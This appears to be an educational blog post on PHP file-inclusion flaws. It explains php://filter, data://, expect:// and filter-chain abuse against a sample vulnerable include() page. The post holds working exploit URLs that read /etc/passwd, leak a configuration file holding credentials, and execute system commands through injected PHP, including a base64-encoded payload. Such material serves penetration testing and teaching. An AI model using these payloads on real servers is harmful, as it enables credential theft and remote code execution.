Exporing And Exploiting PHP Wrappers

Web applications are often built using a combination of files, this allows developers to reuse the same code across multiple pages and reduce the impact on server resources.

Each PHP application is built differently but the common factor across include vulnerabilities is the use of the include or require functions. Not to be confused with the file_get_contents function, include and require will both fetch the PHP file and execute this, it essentially becomes a part of the same PHP file. Whereas the file_get_contents function will only retrieve the contents of the specified file, the contents do not get executed.

Traditional File Inclusion

Traditional file inclusion vulnerabilities occur when the application includes a resource which can be manipulated by the end user. A typical example of this would be an application that includes the page contents rather than linking to a whole new document, the include would usually be specified within the URI.

http://jessies-bookstore.com/?page=pages/about.php

As the example above shows, the URI includes a page variable. This variable would get read by the PHP code after which it would open and include the contents for the user to see, this sample code can be found below.

<!doctype html>
<head>
<title>Jessies Bookstore</title>
</head>
<body>
<?php include($_GET['page']); ?>
</body>
</html>

Since there is a lack of validation in place, the end user would be able to specify an alternate file. If the path is valid then the contents would be included and if they contain PHP code that would get executed. Given that the example below includes the /etc/passwd file the contents would only be printed out as this is not valid PHP.

http://jessies-bookstore.com/?page=/etc/passwd

What Are PHP Wrappers

“PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize().” – php.net

A traditional URI would contain a schema, the schema specifies what protocol should be used when making the request, the most common schema are http:// and https://. PHP wrappers offer the ability to use alternate schemas, one such schema is php://. As this schema is unique to PHP, when referenced within any PHP code it can provide additional functionality which could be abused to include, leak or execute more code.

Exploring PHP’s Filter Wrapper

The php://filter wrapper would probably be the most common in terms of file inclusion vulnerabilities. It can be used to bypass application filtering or leak PHP source code leading to further compromise.

So that variables can be reused, applications often include a configuration file. The configuration file is a popular place to store database credentials. By simply providing the file path and including the configuration.php file it would not be possible to read these credentials as the code would be executed on the server.

However, if the contents are converted to something else then they would no longer be PHP code, this would result in the contents being printed out. Both base64 or rot13 would be ideal for this as they can be converted back once retrieved. The convert syntax can be found in the example below.

http://jessies-bookstore.com/?page=php://filter/convert.base64-encode/resource=configuration.php

http://jessies-bookstore.com/?page=php://filter/string.rot13/resource=configuration.php

Although their use case may not be as obvious as full content conversion, several other filters exist. These can be used to manipulate the content such as changing it to lower or upper case. There even exists a filter to strip any HTML or PHP tags. It’s worth noting, the stip tags filter was deprecated with the release of PHP version 7.3.0.

http://jessies-bookstore.com/?page=php://filter/string.toupper/resource=configuration.php

http://jessies-bookstore.com/?page=php://filter/string.tolower/resource=configuration.php

http://jessies-bookstore.com/?page=php://filter/string.strip_tags/resource=configuration.php

Introduction To The Data Wrapper

Another common wrapper which can be abused is data://. With the use of this wrapper, a malicious user would inject additional PHP code into the webpage.

For the data:// wrapper to be exploitable, it would first need to be enabled within PHP’s configuration file, php.ini. Since this is disabled by default this type of exploitation is far less common. The data:// wrapper can be enabled by setting allow_url_include to “On”.

http://jessies-bookstore.com/?page=data://text/plain,<?php system("id");?>

In the example above, assuming allow_url_include has been enabled then the provided PHP code would get included into the page and executed, this would result in the execution of the system function. It’s also worth noting, if allow_url_include is enabled this this provides the opportunity for Remote File Inclusion.

Developers can often include some sanitization to help filter out any malicious code. However, the data:// wrapper also offers the ability to convert the provided text allowing for filter bypass or more complex payloads. The payload can be provided as base64 encoded text.

http://jessies-bookstore.com/?page=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oImlkIik7Pz4K

A Brief Look At The Expect Wrapper

The final PHP wrapper which we’ll be looking at is expect://. For reasons which will soon become very clear, expect:// is disabled by default as this can be used to execute system commands. Additionally, the expect:// wrapper cannot simply be enabled through the php.ini file, this is an extension which needs to be downloaded from PECL and so is far less common to come across.

http://jessies-bookstore.com/?page=expect://whoami

Abusing PHP Filter Chains

Before I close this article up, I thought it was only right to include a small section about PHP filter chains. PHP filter chains allow for remote code execution by chaining numerous filter convert wrappers together.

Since filter chains can be large and difficult to create freehand, tools have been created to allow for each payload creation. This GitHub repository by Synacktiv contains a Python script which can build gadget chains and achieve code execution on the vulnerable application.

bash$ python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.M [...]

When the resulting filter chain is placed within the URI page variable it will execute and result in the server executing the id command.

http://jessies-bookstore.com/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.M [...]

Final Thoughts

PHP wrappers offer improved functionality and attack surface when performing application penetration testing. From what initially appears to be an arbitrary file read, this can quickly lead to server compromise through remote code or command execution.

Any application testing and exploitation should only be performed with prior approval from the owner. This information is intended for educational purposes.

Spread the love